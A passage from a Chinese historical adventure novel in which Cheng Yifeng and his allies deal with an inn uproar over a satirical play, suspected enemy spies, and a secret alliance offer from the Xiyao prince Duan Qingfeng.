冷千山才不在乎轰不轰人——反正被诋毁的是程亦风。他只想找出是谁耍弄他。因叫那掌柜:“天香轩是什么人订的?把你的帐本拿来。”又叫向垂杨:“你不是带了几个亲兵来吗?叫他们立刻找顺天府把这儿围了,连只麻雀也不许飞出去。” 向垂杨应声去吩咐手下办事了。不时,那掌柜也把帐册拿了过来。冷千山看天香轩的预定,上面写的竟赫然是自己的名字。他不由怒道:“谁敢冒我的名?你看到来订房的是谁么?” 掌柜陪着笑脸,指那帐册道:“大人请看,这是半个月前就定下来的。小店中秋的生意总是特别好,非要提早预定不可。那么久远的事,小人哪还能记得?来人应该是自称您府上的下人吧……小人如何识得?” 这倒也是!冷千山愈加愤怒,将凡是在中秋这天订了雅室的人名一一查看,想找出个嫌疑者来。于是,就看到了臧天任的名字——臧天任和自己没什么大过节,但是他和程亦风一个鼻孔出气。这还不人赃并获?因指着楼上程亦风所在的碧云轩道,“程亦风,你这缩头乌龟。你给我出来!” 程亦风当真叫苦不迭,但也别无他法,只有出了门,还不及挤出写勉强的笑容,冷千山已大步冲上楼来,骂道:“我早也该想到是你。就你这种臭书生才能想出此等不要脸的无聊招数!你在朝堂是整我不倒,就用苦肉计?你想让天下人都以为我冷千山是诋毁你名声的阴险小人,是不是?走!咱们进宫去太子殿下跟前说个明白!” “冷将军!”臧天任抢上前来,“若真是程大人用匿名信邀各位来到六合居,特地施了苦肉计要看诸位的笑话,他怎么会料不到将军现在的震怒?又怎么会想不到将军要彻查六合居中的人?那他怎么还会让臧某留下姓名,又大摇大摆地坐在这里?他原该混在一楼的客人中,见势不妙就立刻离开,省得惹一身腥啊!” 此话也有道理,冷千山眉头皱得可以夹死苍蝇——不过,若不大闹一场,自己颜面何存!即冷笑道:“好,反正现在向将军的亲兵也把六合居看守上了,就一个一个地查,看到可以的,都押到顺天府去法办——离间将相,可治谋反之罪!”当下喝令楼下客人分两排站好,鲁崇明的亲兵上前去一一询问姓名和来路,且叫那戏班班主前来辨认,看有没有叫他们演戏的主谋。而冷千山自己就拿了掌柜的帐册,在楼上雅室里一间间唱名出来盘问。一时间,六合居里鸡飞狗跳,闹得不可开交。 程亦风直摇头。小莫也嘀咕:“这哪儿能找到?要真是什么大有来头的人物,那班主又没见过人家,就只见过随从——大人物的随从多得去了,今天一定就带那一个出来么?” 公孙天成道:“大人物也不见得就是大人物的样子,也许人家早就扮了个小二或者扮了个亲兵什么的,正看得暗自开心呢!” 程亦风知道公孙天成暗指小莫是樾国奸细,笑了笑,帮这孩子解围:“先生说的有道理——你看那个伙计,会不会就是幕后主谋呢?”随便一指,正有一个伙计提着茶壶来给他们添水。到近前两人打了一个照面,程亦风不禁一惊:这人,好奇怪的一双眼睛,怎么看起来好像是绿色的?怕不是中原人吧?他忍不住多看了这人两眼。但这伙计自倒茶水,又收拾桌上的螃蟹壳儿,并无半分可疑之处。是自己多心了,程亦风想。 这时,冷千山已经把雅室里大半的人都叫出来了,走到了程亦风碧云轩的隔壁,喊道:“王富贵!” 那名字难免使人联想到一个脑满肠肥的生意人,众人也都是这样以为的。不过,只见珠帘内人影晃动,悉嗦几声,走出两个青年来。前一个着白衫,后一个着蓝衫。白衫者中等身材,面庞冷竣秀丽,一双眼睛仿佛能把人心看穿;而蓝衫者英武矫健,挺拔得仿佛北方的杉树,偏偏面容谦和镇定,不带一点儿武人的粗鲁。他们一出现,就将在场所有人的目光都吸引了过去——这两人中的一个叫王富贵吗?不会吧! 冷千山也是一个想法,将两人都上下打量了一番,道:“谁是王富贵?” 蓝衫青年看了看他,道:“我们都不是。王富贵将这间雅室让给我们了。” “哦?”冷千山挑起了眉毛:多么可疑!“王富贵呢?”他问,低头看了看六合居的记录,“他一个月前就来订了雅座,怎么突然让给了你们?” 白衫青年无声地冷笑,道:“我喜欢这个位子,又出得起价钱,王富贵嘛——看他的名字就知道是个惟利是图之人,他今天在家里喝酒赏月不也很好么?” 听了这样的话,冷千山自然更加怀疑了,道:“这间雅室有什么特别,你非要夺人所好?” “你是……冷千山将军?”白衣青年眯起眼睛看了看他,“难道楚国律例有规定吃饭坐什么雅座要向本国将军回报么?” 冷千山本来就一肚子脾气,听这青年出言不逊,立刻发作:“律例是没有这么一条,不过现在有人意图谋反作乱,本将军为了江山社稷,不得不采用非常手段——说,你到底是什么人?为什么要强买下王富贵的雅座?你究竟有何企图?” 青年哈哈大笑:“谋反作乱我就没有看见,有人睡不着觉怪床歪,小题大做,拿了鸡毛当令箭——这个,恐怕六合居里每一个人都看到了吧!” 程亦风也觉得这两个青年看来并非寻常人物,也许真的是闹剧的幕后策划者。不过冷千山做事嚣张跋扈,白衣青年敢一语道破天机,倒也叫人不得不佩服。 冷千山果然火冒三丈:“黄毛小子,敢如此跟本将军说话?”一只巴掌,“呼”地就朝白衣青年脸上抽了过去。 白衣青年却躲也不躲,轻轻抬手一格,就将冷千山的手腕格住:“怎么?将军不仅喜欢小题大做,还喜欢随便当街打人的么?” 冷千山只觉自己的手腕好像撞到了钢铁之上,疼得差点儿叫了出来,青年的话,自然无暇回答。然而白衣青年也根本就没想要他回答,自笑了笑,道:“方才那出戏,在下也看了,实在不知道为了什么会使将军如此兴师动众。” “这戏颠倒黑白,”董鹏枭道,“污蔑……程大人。” “哦?”白衣青年目光一转,看到了程亦风,“我怎么没听出污蔑程大人来?这戏是赞崔女侠巾帼不让须眉,勇破敌军。自古传奇话本都难免夸张,然而崔女侠的确是率领民兵攻下了樾国重镇,大家只消知道这一点就好了。全国上下当以崔女侠和她的民兵战士为榜样,勇赴国难,马革裹尸。唯其如此,樾人才无可乘之机。” 崔抱月虽然一年来被人家当成巾帼英雄捧惯了,却还是第一次被一个这样英俊的青年称赞,不觉红了脸。 白衣青年继续说下去:“至于程大人突然下令撤军,乃是因为权衡利弊——如果崔女侠在当时的情形下还继续监守石坪城,恐怕樾人大军回师,民兵将全军覆没。崔女侠身在石坪,不似程大人了解全局军情,一时对程大人的命令难以理解,也是人之常情——相信她凯旋之后,就已经明白了程大人的用心良苦,还要暗中佩服程大人大智大勇,敢于取舍——这如何是污蔑程大人呢?” 白衣青年并未大声呼喝,但说话清晰响亮,正个六合居里的人都听到了这席话,纷纷点头,以为有理,连那一脸哭丧的戏班班主也突然觉得自己仿佛是做了一件大好事一般,思量这回不仅得了银子,又演了一部传世绝唱。 冷千山可不买这帐,怒冲冲地揉着手腕道:“满口胡言,砌词狡辩。我看这挑拨离间之事必然是你做的无疑。你到顺天府里去胡说八道吧!” 白衣青年冷冷一笑:“这戏哪里挑拨离间了?既赞了崔女侠,又赞了程大人,还鼓舞了举国上下的士气——怎么就你冷将军看了不舒服呢?常言道‘说着无心,听者有意’,莫非是你自己心里有鬼,所以才看戏看得如有芒刺在背?” 冷千山当然就是因为一直针对程亦风,所以才怀疑有人故意把这“污蔑”程亦风的戏文推到自己头上,一时被白衣青年说的哑口无言。 白衣青年还接着道:“就算这写戏的人果真别有用心,要挑拨离间,究竟他是希望大家把话说开了,一笑了之,还是指望诸位疑神疑鬼,闹得鸡犬不宁——冷将军可以自己考量。” 这是拐弯抹角地骂冷千山没头脑。真恨不得跳起来将这小白脸打个稀巴烂。可是,方才已经领教了人家的功夫,又吃了苦头,没有顺天府的官兵来撑腰壮胆,他还不敢轻易动手。 白衣青年道:“冷将军还要继续追查这戏是谁写的么?请便吧。在下戏是看完了,酒还没喝够,先回席上去了。少陪!”说时,拱了拱手,和蓝衣青年二人一起回到了自己的雅室之中。 冷千山想:反正不怕你飞了!一会再来计较!便招呼人继续唱名审查。不过他心里已经十分确定是这两个神秘青年在搞鬼,接下来的审查也就不甚认真,随便问几句便了。程亦风看得直是摇头叹气:朝廷上怎么出了这样的官员?朝廷怎么能容下这样的官员?就算那两个青年真有什么不轨企图,但俗话说“苍蝇不叮无缝的蛋”,若不是有冷千山这种私心着重的官员,哪里又能闹出这么大的动静来? 符雅似乎能读懂他的心思,道:“大人何必为此烦恼?你要是搅和进去,有些人还更有文章作了。既然‘嫌犯’都回去喝酒了,咱们也继续吧。”说时,替程亦风打起了帘子。 程亦风微笑着点点头,心道:这个女子还真是有大智慧,难得。便和公孙天成,臧天任夫妇走回了雅室中。小莫却不动,仿佛对这场闹剧十分有兴趣,一个劲儿地盯着隔壁的雅室看个不歇。符雅不得不唤:“小莫!难道你想惹麻烦么?” 这年轻人一怔,笑道:“那位公子还真有意思,瞧把冷将军气得!”也跟进了雅室来。 才注意到方才那添茶的伙计还未走呢,想是在雅室中看热闹耽搁了,见众人还席,才低着头退出去。符雅同他匆匆照了个面,怔了怔:咦?走到桌边再想想,又回头要看那人,不过已经去远了,连背影也不见。 “怎么?”公孙天成问道,“那伙计有什么不妥么?” “似乎在哪里见过。”符雅回答。 “符小姐也……看到那人的眼睛了么?”程亦风道,“好像是绿色的呢——方才我看到,以为看错了。” “绿眼睛?”符雅惊道,“他低着头,我倒没看清楚……要这么说来……”她沉吟着:“那可就奇怪了,莫非他是……” “等等。”公孙天成突然道,“符小姐请先不要说。今晚这六合居是个是非之地,若此人大有来路,小姐一泄露天机,恐怕被什么有心人听去了。还是等离开这里再说。” 符雅不知道公孙天成是防小莫,程亦风猜到了,也只能摇摇头:“搅成这样,我们还怎么继续赏月呢?不如把月饼和酒带到我那儿去,还清静些。” 余人都说“也好”,唯小莫恋恋不舍这闹剧的结局:“就不看顺天府来了冷将军怎么下台?” “有什么好看的?”公孙天成道,“那两个人都身手不凡,不知是绿林里哪一门哪一派的。就算是顺天府所有的兵丁都出动,也伤不了他们分毫——你是想留下来看打架,还是怎么?不过,老朽看来,打架也没得瞧,这两人不会干坐着等人来找麻烦。他们一回那雅室,恐怕就已经脱身了。” “这怎么可能?”小莫道,“难道他们真会飞不成?我要瞧瞧去!”说着,径自站了起来,也不顾礼貌,真到隔壁的门口张了张。回来时,满面的惊讶:“先生,您真神了!两人真的不见了!” 公孙天成并不曾自负“料事如神”,不过对自己的谋略还算满有信心。然而这一次,却失算了——他当然是算准了冷千山抓不到那两个神秘的青年,也猜中了符雅认出的店伙计是个不寻常的人物——为了不让小莫听到符雅的话,他一直等到在程亦风家饮过了酒,赏完了月,才问符雅此人是谁。符雅道:“我随先父在西瑶时见过太子段青锋,虽然当时看得不十分清楚,不过依稀有个印象。但我确实知道他的眼睛是绿色的。程大人既然看到了绿眼睛,我就有些怀疑是他——只是,西瑶太子到我们这里来做店伙计干什么?恐怕是长得像而已。” 公孙天成拈须沉吟:“的确是蹊跷,得派人去好好查一查。” 他本以为事情没有声张,就不会打草惊蛇,谁知第二天亲自到了六合居,假装随意向掌柜问起昨天的伙计时,掌柜一脸苦相:“别提了,竟是个浑水摸鱼的混帐!乘着昨天乱哄哄的一团,就偷了柜台的钱匣子,溜了!” 卷款潜逃!这可不像是西瑶太子的作风。哪怕是他觉察身份可能被人识穿,要立刻离开,也不会做这种偷钱的事——岂不是更加惹人注意么!但,偏偏就是和符雅打了个照面后匆匆出逃,总有些可疑。“报官了么?”公孙天成问。 “怎么没报?”掌柜道,“昨天半夜里就报了顺天府,不过那儿都忙着帮冷将军捉拿那两个年轻人呢。” “他俩也没消息?” “没——冷将军叫人画了他俩的画像,现在要在京畿一带通缉,说不准还想发到全国呢!”掌柜说时一指店堂的柱子,果然贴了那两的青年的头像,画得栩栩如生。 或许这两人和那绿眸伙计是一伙的?公孙天成没有头绪,但如今既然断了线索,也无法追查。他便回来见程亦风。 然而来到兵部,却说程亦风已经去靖武殿了,老先生唯有等着。这时,就见一个兵丁火急火燎地闯了进来:“大事不好了!我要见程大人!” 公孙天成见他是顺天府服色,心中一凛,即问:“何事?程大人不在,和我说也是一样的。” 兵丁手里拿了卷纸,展开来,也是那两个神秘青年的通缉文榜。 “抓到他们了?”公孙天成问,有点儿吃惊。 “不……”兵丁有些上气不接下气,“这是……这是玉旒云……”他手一指那个白衣青年的头像,又指那蓝衣青年:“这是石梦泉。” “什么?公孙天成大惊,“你从何得知?” 那兵丁道:“小人原不是顺天府的,参加过大青河之战——当日程大人派军东进截击樾军,小人就在其中。当时玉旒云正要率部逃回河北去,小人是拦截的前锋,就和她交上了手。玉旒云斩小人一剑,但小人侥幸不死。她的模样,化成灰我也记得。当时她与石梦泉同乘一马,所以石梦泉小人也能认出来。因为大青河之后小人身体受损,不得再在军中,就调到了顺天府。” “你确定没有认错?”公孙天成这时不知道是希望兵丁认错还是认对,声音也微微打了颤:玉旒云,她怎么会在这个时候只带了一个部下就潜入楚国来?即使是要打探虚实,也没有以身犯险的道理。更没有道理在六合居里导演一出闹剧,让自己成为瞩目的焦点——看她以往的所作所为,并不是一个追求“白开心”之徒。 兵丁道:“除非是顺天府的画像画错了——那也不会两个一齐画错的。除非世上还真有长得一模一样的两个人,而且还同样形影不离。” 公孙天成眉头深锁,忽然又听到了小莫的声音:“咦,程大人还没有回来吗?”只以探身,又要退出去。公孙天成心中突然一闪——小莫!前夜冷千山和神秘青年争执时,小莫最关心是何结尾,最担心两个青年被冷千山抓去。小莫!若把这一切都串起来……那么白衣青年是玉旒云的可能性极大。当即喝到:“站住!”同时从顺天府兵丁手中夺下那通缉文榜来,大步走到小莫的面前:“你还要装到什么时候?你的主子在哪里?” 小莫呆呆的:“公孙先生,您说什么?” 公孙天成几乎将文榜丢到了小莫的脸上:“玉旒云——她到这里来有什么企图?你若不老实交代,就等刑部的大人们来问你吧!” 小莫十八九岁的大小伙子,竟被这突如其来的举动吓得差点儿哭了起来:“先生这是什么意思?又是要说我是樾国的奸细了?我哪一点像是奸细了?您倒是问问程大人,跟在他身边这么久,他交代的事我可有办砸过?我什么时候做出对不起他的事来了?先生怎么老是要冤枉我?您找出凭据来,要杀要剐随便你!” “收起你那可怜相!”公孙天成冷冷道,“程大人不在这里,我不吃你那一套!” “我……我去找程大人来评评理!”小莫揉着眼睛,转身朝外跑。 这次公孙天成没有阻拦,只冲着他的背影高声喊道:“要去给你主子报信么?那得快一点儿!咱们就要把通缉文榜发到全国了,天罗地网 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公孙天成却忽然一笑:“试试他而已——若他真是樾国的奸细,那么知道我们通缉玉旒云,一定要想办法帮助他主子,那么,他就会把们引到玉旒云身边——抓到玉旒云,虽称不上是对樾国一劳永逸的打击,但总可以使天下太平一段时日。相反,若他无所动静,那他的嫌疑就减小了。而另一方面,我们仍然可以全国通缉玉旒云,或是抓住她,或是扰乱她的计划。” “全国通缉玉旒云?”程亦风踌躇道,“这恐怕不妥吧?不论此人是不是真的玉旈云,诏告全国百姓官员敌国将领大摇大摆地在我楚国境内逍遥,势必造成恐慌,后果也许不可收拾!” 公孙天成笑了笑:“老朽说要全国通缉,并没有说要通缉玉旒云。”他拾起落在地上的通缉文榜,端详着:“悬赏捉拿这两个人,又不一定要说出他们的名字。大家只要知道他们长得什么样就足够了——是皇亲贵族也好,江洋大盗也罢,只消扰得他们无处藏身,一事无成,就已经足够了。再说,假如真是玉旒云,她悄悄来到我国的事河对岸的人或许还不知道呢,如果能把这消息传过去,她树敌如林,想钻空子找她麻烦的人不在少数——传递这消息也不需要说出名字,只要画像就够了。咱们不认识她,樾国那边可多得是人认识她呢!”这样说着,又问那顺天府的兵丁道:“这位军爷,还没请教你的姓名?” 那兵丁道:“小的名叫魏进,听候程大人和公孙先生的差遣。” “很好。”公孙天成道,“魏兄弟,还有别人能认出玉旒云来么?” 魏进摇了摇头:“小的不清楚。当时跟玉旒云正面交手的,几乎都死绝了——如果只是受伤没死的,应该和小的一起留在京城,可是小的一个也没见过,所以估计都没了命。还有追着她上船桥的,那些人多半还活着,可是都还在北方呢。其他若还有谁,小的不知道。” 公孙天成点了点头——总得想个办法不把这事张扬出去。“魏兄弟,方才我和程大人说的话,你总听见了。玉旒云来到楚国的消息最好不能泄露出去——能认出她的人有多少,会去顺天府报告的人有多少,咱们控制不了,只好听之任之,实在泄露了,也就只有按照泄露了来办。不过,那莫校卫,我怀疑他是樾国奸细,你可愿去监视他的行踪么?” 魏进调在了顺天府,日子虽然比在前线冲锋陷阵好过得多,但是立功的机会少了,升迁几乎不可能,公孙天成交给这样一个任务,又可以说是直接替两殿大学士办事,哪有不乐意的?他当即点头道:“小的要怎么做,请先生和大人吩咐。” 程亦风当然是很不赞成监视小莫的。不过,这也是小莫可以证实自身清白的机会。他也就没加干涉。因为要汇总各处新法奏章的缘故,他回到家中,夜色已浓重,秋风也有些凉意。本想直接歇息,却见书房亮着灯。大约是童仆打扫时疏忽了,他想,因走了过去,可推门一看,却吓了一跳——只见自己的书桌前坐着一位青衣公子,面貌俊秀,气度非凡,听见开门声,就抬头望了望,两人一照面,程亦风就看见了那双冰绿色的眼睛——这可不就是“卷款潜逃”的六合居店伙计么!他愣在原地。 青衣公子笑了笑,站起身来:“程大人,昨夜在六合居匆匆一面作不得数,现在请容我重新说一声‘幸会’——在下段青锋。”说时亮出一面黑底描金的令牌,上面正写着“西瑶武德”,是西瑶皇帝的信物。 “幸……幸会……”程亦风怔怔的,不知要如何反应。 段青锋倒自由自在如在自己家中,翻着桌上程亦风的一本诗集,道:“久仰程大人才名,昨夜在六合居听你作螃蟹诗,就十分惊叹,今日看了这些诗稿,愈加佩服。” 程亦风不答话,盯着这位不速之客。 段青锋微微而笑,灯火使他的那双绿眼看来充满了威胁:“我一直好奇让玉旒云铩羽而归的军神是个什么样子。” “世子殿下现在见到了?”程亦风耸耸肩——他故意要称段青锋为“世子”因为楚国还不曾正式承认西瑶独立。 段青锋对称呼全不在乎,笑道:“不错,是见到了。如果我是今天才到凉城来,恐怕见到这样的程大人会大吃一惊。不过,好在我已经来了快三个月了,程大人的诸多事迹,我都听说——本以为程大人在阵前随机应变,多少要有些……恩,怎么说呢?”他摸着下巴:“多少该像那话本中的传奇军师,有些多智而近妖,至少是有点儿小聪明。不过,原来大人是个饱学之士。” “世子殿下过誉了。”程亦风道,“您远道而来,除了要见在下一面之外,恐怕还有更重要的事吧?当然,以天潢贵胄之躯潜伏在六合居中任人呼喝,也不会就为了偷取掌柜的银两——世子殿下究竟有何贵干,程某可不喜欢绕弯子。” 段青锋侧着头,瞥了他一眼,似乎充满兴趣:“咦,我还以为中原文化博大精深,大家都喜欢话里套话,读书人更喜爱弯老绕去,旁敲侧击,迟迟也不肯切入正题,以示礼貌——原来程大人如此直爽,值得小王一交。” 程亦风看他这样故弄玄虚,心里就很不耐烦,几乎出言讥讽:跟中原学士自然要讲礼貌,跟蛮夷之辈,大可不必麻烦!但他终于还是忍住了,无谓的逞口舌之快,只会带来麻烦。他继续沉默。 段青锋见他不接茬,挑了挑眉毛:“怎么?小王说的还不够明白么?小王以为程大人值得一交——我西瑶人以为,楚人值得一交。大人这下明白了么?” 程亦风一愕:西瑶要和楚国结盟么?他斟酌着字句:“世子殿下若是为了结盟,为何不全副仪仗,率众而来?我等也好接待。似这样……” “怎样?”段青锋笑道,“在六合居里当伙计么?哈哈,大人年轻时似乎喜欢留恋烟花之地,小王其实也有此爱好。在市井混得久了,就知道,看一个国家,若只看冠冕堂皇的场面,什么也看不出来,非得到龙蛇混杂之地,才见人的真面目——小王在六合居里这么久,该听的,该看的,不该听的,不该看的,都见识到了——昨夜的那场戏,算是个收梢吧。还真精彩呀!” 原来是他的手笔!程亦风愣着。 段青锋不知从何处变出了一柄折扇来,“哗”地展开了,轻轻摇着:“希望小王的拙作没有冒犯大人。小王不似程大人出口成章,编这戏文可真是花了不少脑筋,前后写了一个多月呢。本来还想着怎么才能让程大人看到,正巧你就上六合居来赴宴。可惜没演完。” 程亦风真是又好气又好笑,隐约想起符雅曾经讲过,这位西瑶太子除了好事没有一样不精通的,到一个天朝上国来请求结盟,居然微服而来,隐居市井,还用戏文捉弄朝廷命官——要是被冷千山知道了,说不定会折腾着发兵攻打西瑶。 “程大人一定觉得小王这事做得很疯癫吧?”段青锋绿眸中的笑意更深,“小王知道程大人长于应变。不过,在朝堂上辩论政令,或是在前线对付敌人,都是‘大事’,大到几乎与己无关。小王总以为,看一个要看小事,看成大事者所‘不拘’是那些‘小节’,因为小节上的表现才是一个人的真品质,真品质自然显露,才叫‘不拘’,一个人的成败,除了机遇,那就是靠着真品质。” 程亦风呆了呆:还以为这青年当真成事不足败事有余,未料他说出这样一番话来。“世子殿下又看出了程某什么小节?” 段青锋将扇子一合:“宰相腹中好撑船。冷将军发火了,崔女侠激动了,整个店堂的客人也都议论纷纷,唯有程大人好像事不关己一般。如此气度,小王佩服。” 程亦风随便拱了拱手,算是应答,暗想:要说到气度,倘若那白衣青年真是玉旒云,她才是好气度——这戏虽然多演绎,但唯一被丑化的,就是玉旒云的形象。原本听说此人心胸狭窄,睚眦必报,但她后来竟然面不改色的把那戏夸赞了一番。有所谓“小不忍则乱大谋”。玉旒云倒还挺能忍的。这样想着,猛地又感到一阵寒意:那她的“大谋”究竟是什么? 段青锋离开了书桌,踱了几步,仿佛是打量程亦风的藏书,但是时不时又回头看看看程亦风。 “世子殿下远道而来,”程亦风道,“程某还没有招待茶水……” “不必了。”段青锋道,“小王来找你,也不是为了叨扰你一杯茶,再说,大人的书童……”他一指房间的角落,只见童仆正蜷缩着熟睡:“大人不必担心,小王不想别人知道我在楚国,所以就暂时让那孩子睡一会儿。”说完,看到程亦风惊愕的模样,又微笑着加了一句:“小王是从……后院跳墙进来的。” 这人还有多少出人意表的地方?程亦风不想去猜测:“世子殿下是说西瑶要和我国结盟么?西瑶本就是我属国,‘结盟’的提法,恐怕不妥吧?” 段青锋眯起眼睛,笑着,道:“敝国与贵国实际是什么关系,大人何必自欺欺人?大人难道想和敝国开战么?” “开战于你有何益处?”程亦风道,“楚军的人数恐怕比你西瑶临渊城的人口还多。” 段青锋微笑:“樾国的军队也不比贵国凉城的人少啊。这时候贵国会向我宣战么?” 这年轻人果然不容小觑。程亦风想,虽然这名存实亡的从属关系依然事关楚国尊严,他身为朝廷命官,不得不维护,但是若逼得西瑶人翻脸,正式宣布独立,拒绝交纳岁贡,到时两国开起战来,难免要给虎视眈眈的樾国可乘之机——屯兵在瑞津的刘子飞和吕异虽然不及玉旒云可怕,但也非善类! 就给他一个顺水人情,让他面子上得意得意,也无妨。程亦风想着,即改了口,道:“太子殿下打算和我国结盟么?为什么突然要结盟?怎么个结法?” 段青锋果然有了些许得色:“盟约自然要使双方获利。‘突然’要结盟,自然是因为有了‘突然’的事件,使得我们两国都需要这盟约——玉旒云看似落雁谷的新秀,其实去年樾国横扫北方的每一场战役她都参加过。所以,她也可以算是樾国的少年军神了。这一次大青河失利,玉旒云虽然被免了军权,不过她的皇后姐姐有了身孕,一旦产下太子,她的地位只升不降。届时,大人觉得她会不报大青河之仇吗?” 程亦风何尝想不到?但是不能让自己被段青锋的语言迷惑:“那么结盟于我国又有何益处呢?” “益处说大不大,说小也不小。”段青锋道,“俗话说,多一个敌人不如过一个盟友。我们两国结盟,至少我西瑶就不会成为贴在楚国后心的一块烙铁。若有需要,我国的步兵、水师还可以协助盟友——大人以为如何?” 虽然不希望打仗,不过一旦开战,能有西瑶相助,总比孤军奋战来得好。程亦风即道:“既然太子殿下愿助敝国一臂之力,敝国岂有不领情的?” 段青锋笑:“程大人果然爽快。大国之臣真有大国之臣的气度。小王奉父王之命前来,早就料到盟约可成,连文书也备了。程大人再听听我国的条件,若无异议,咱们就此签了。”说时,取出一卷帛书来。 程亦风愣了一下,接过了,到灯前展开来看,只见前半部分正如段青锋方才所说的那样,是当今天下形势,阐述了结盟的益处,接着说到西瑶愿意如何帮助楚国,后面是西瑶提出的条件——程亦风生恐里面有承认西瑶独立的条款,这要到了朝会上,一定难以通过。不过连看了两三条,净在说楚国水利如何发达,西瑶请楚国帮他们疏浚运河,加固堤坝;又说西瑶海疆辽阔,常常受风暴海啸之扰,而内陆地区天江支流众多,水网密布,汛期甚长,连年泛滥,希望楚国可以捐些钱粮来赈济;还说湿热之地瘴毒肆虐,百姓苦不堪言,而楚人医术高明,恳请楚王组织一批郎中到西瑶境内义诊……如此如此,这般这般,虽然语气不卑不亢,但内容就好像是属国在请求主上怜悯救助一般。他一直看到最后一条,说的是西瑶多山地,开垦不便,而楚国天江流域有不少荒地无人耕种,若楚王能允许西瑶农民到楚国境内耕种,西瑶愿意按楚制纳税。 “单看贵国所提的要求,并无不妥之处。”程亦风将帛书合起来,“不过要签盟约,程某可不能做主,还得要太子殿下过目,两殿、六部等都议过了才行。” 段青锋抱着两臂,笑道:“呵呵,国家大了也有这些麻烦,若是换在我们西瑶,一个像程大人这样中流砥柱似的人物,只要他点头,这事就成了,摇头,这事就不成。哪来那许多议来议去的麻烦?就算真要议,我父王只须将文武大臣招到宫中,同意的站一边,不同意的站另一边,若有三分之二的人都同意,那就当全体同意论处,否则就当全体不同意论处。” 程亦风知道楚制确有弊端,不过依然不喜欢段青锋说话的语气,便不搭他的茬儿。 段青锋并不在乎,将折扇往腰里一插:“罢了,罢了,小王也入乡随俗。你们爱怎么议就怎么议论吧。但是小王有一个要求——毕竟这两国结盟的大事,无论成与不成,一旦传了出去,叫樾人听到了,总知道我西瑶曾动过心思同贵国联合起来对付他们。到时还不知要玩出什么花样来。所以,小王希望商议之时不要张扬,要和约既定,才诏告天下。” 考虑得倒周详。程亦风点头答应:“未知太子殿下如今下榻何处?若商议出了结果,将去何地通知您?” 段青锋笑道:“要说‘下榻’本来是在六合居的伙计房里。现在当然是不能再住下去了。我离开西瑶也有些时日,再不归去,恐怕父王担心。明日就打算起程南下。” “那盟约……” “大人不须担心。”段青锋道,“结盟是小王出来该办的正事,若是没个交代就回西瑶去,岂不让父王震怒?以为我不务正业,游山玩水呢!所以,我已拜托我国礼部侍郎蓝沧蓝将大人暂时留在凉城。若贵国的两殿、六部都商议够了,决定和我西瑶结盟,就请将盟书交由蓝大人带回南方。若是最后决定不结盟,就知会蓝大人一声,他便回西瑶来告诉我父王和我。我们两国都可当这事从来没发生过,省得让那疑心病重的玉旒云抓到把柄——大人说,这样可好?” “也好。”程亦风道,“蓝大人下榻何处?” “蓝大人一直以来代表我父王出使各国,自然守得规矩,不像小王这样自由。”段青锋道,“他在夷馆里住着。大人到时去寻他就好——时候不早,小王也要告辞了。” 程亦风觉得跟此人在一处,浑身都不舒服,赶紧送客——送瘟神。而偏偏这个时候,外头响起一阵细碎的脚步声,看一人打着灯笼走近了,是符雅。 “程大人,我来还……” 她来还书来了,猛然看到段青锋,愣了愣。 段青锋却笑道:“这位小姐好生面善,以前可见过么?” 程亦风想段青锋为了要隐藏自己的行踪,已经把童仆迷倒,这时不要对符雅有何不利才好。于是急忙挡上前去:“怎么会见过?公子请这边走——” 段青锋似乎知道他的意思,“嗤”地一笑,仿佛是说:还怕我把她吃了?但也不讲穿,径自往黑暗的花园深处走。 程亦风就示意符雅稍待片刻,自己寸步不离地跟着那绿眸王子,生怕他还有什么诡计,自己招架就算,累了符雅可是罪过。 两人一同走到后墙根儿了,段青锋突然又想了什么似的,回头道:“程大人,小王看到满街都有通缉文榜,要通缉昨夜在六合居里得罪冷将军的那两个年轻人——这两个人其实也是小王的手下,陪小王做一场戏而已。程大人能不能高抬贵手,放他们一马?” 程亦风一愣:什么?那两个人不是玉旒云和石梦泉么? 段青锋看他那表情,将原委也猜出了大半,笑道:“哈哈,程大人和玉旒云多次交锋,应该对她的样貌很熟悉了,这样都被小王骗了过去?小王一定要好好奖赏这两个人才行。” 程亦风不知他玩的什么花样。 段青锋只是笑:“大人,玉旒云被樾王削了兵权,现在就好像没爪没牙的狮子。楚国上下恨她入骨,她怎么敢在这时候只身到楚国来?就算来也不敢招摇——难道她想找死么?小王演了那场戏,生怕排查起来,太容易怀疑到我这个新伙计身上,专门加了这么一段。” 程亦风简直要被这位荒唐的王子气死了。 段青锋却全都不管,笑着朝程亦风拱了拱手:“程大人,后会有期了!”说时,一飞身,跃出墙外。 38. 第 38 章 程亦风回到书房门口的时候,符雅还提着灯笼站着,满面惊诧:“方才那个……是西瑶的段青锋?” 程亦风苦笑了一下:“他说他是,小姐也说他是——我方才看他,的确如小姐所说,荒唐透顶。看来他必然就是段青锋了。” 只是为了缓和一下气氛,符雅会意,也领情,微微笑了笑,道:“段世子来找大人,所为何事?” 程亦风请她进屋,看看依然熟睡的童仆,只能抱歉怠慢,又把她带来的书放回架上,才将这天从头到尾的怪事说了一回:从段青锋自六合居“卷款潜逃”开始,到冷千山全国通缉两青年,到魏进认出那两人是玉旒云和石梦泉,再到段青锋突然来访——真真假假,假假真真,一天之内转了几个来回。符雅听得瞪大了眼睛:“今年中秋,凉城可真热闹啊!” 程亦风苦笑道:“热闹归热闹,热闹完了可就是个烂摊子——这位段世子也真是!就算是定下盟约之前不想被樾人知道,也不必搞出这许多名堂来,如今惹得冷千山大动干戈……我要如何收拾才好?” 符雅看到案上的帛书,拿手指捻了捻,又凑到鼻子跟前嗅了嗅:“云蚕丝帛,曼佗罗香墨,看来果真是西瑶禁宫之物。” 程亦风看她如此举动,失笑道:“怎么,莫非符小姐还嫌这真真假假的不够混乱,想告诉我说那玉旒云和石梦泉才是真的,这个段青锋反而是他们派来使障眼法的?” 符雅道:“不是一朝被蛇咬,十年怕井绳么?这个段青锋应该假不了。再说玉旒云派个假西瑶王子来和咱们结盟做什么?说不通呀——大人看他所提的结盟条件如何?” “依我看都无不可。”程亦风道,“满篇‘请求’来‘请求’去的,还真像是要做回我们的属国似的。太子殿下应该是赞成的吧。我倒是怕冷千山他们故意找麻烦……” 符雅抿着嘴一笑:“对手是玉旒云的时候也不见大人这样愁眉苦脸唉声叹气。没想到冷将军比玉旒云还厉害哩!” 程亦风道:“玉旒云就算凶残,却是个堂堂正正的对手。我跟她交锋,那是各为其主。而冷千山那一伙儿……唉,把个国家闹得鸡犬不宁,他们又能得到什么好处呢?” 